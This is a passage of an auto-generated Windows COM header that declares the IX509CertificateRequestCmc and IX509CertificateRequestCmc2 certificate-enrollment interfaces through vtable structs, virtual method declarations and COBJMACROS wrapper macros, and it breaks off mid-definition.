\n\n\n#define IX509CertificateRequestCmc_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCmc_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCmc_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCmc_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCmc_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCmc_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCmc_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCmc_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCmc_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCmc_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCmc_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestCmc_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCmc_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestCmc_InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName) ) \n\n#define IX509CertificateRequestCmc_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_TransactionId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TransactionId(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_TransactionId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_TransactionId(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_SenderNonce(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SenderNonce(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_put_SenderNonce(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SenderNonce(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_ArchivePrivateKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ArchivePrivateKey(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_ArchivePrivateKey(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ArchivePrivateKey(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_KeyArchivalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyArchivalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_put_KeyArchivalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyArchivalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_EncryptionAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_EncryptionAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_EncryptionStrength(This,Value)\t\\\n    ( (This)->lpVtbl -> put_EncryptionStrength(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_EncryptedKeyHash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyHash(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_get_SignerCertificates(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificates(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCmc_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCmc2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCmc2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCmc2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35d-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCmc2 : public IX509CertificateRequestCmc\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromInnerRequestTemplate( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckSignature( \n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes = AllowedKeySignature) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckCertificateSignature( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCertificate,\n            /* [in] */ VARIANT_BOOL ValidateCertificateChain) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCmc2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCmc2 * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequestTemplateName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyHash )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificates )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificates **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequestTemplate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckCertificateSignature )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCertificate,\n            /* [in] */ VARIANT_BOOL ValidateCertificateChain);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCmc2Vtbl;\n\n    interface IX509CertificateRequestCmc2\n    {\n        CONST_VTBL struct IX509CertificateRequestCmc2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCmc2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCmc2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCmc2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestCmc2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCmc2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCmc2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCmc2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCmc2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCmc2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCmc2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCmc2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define 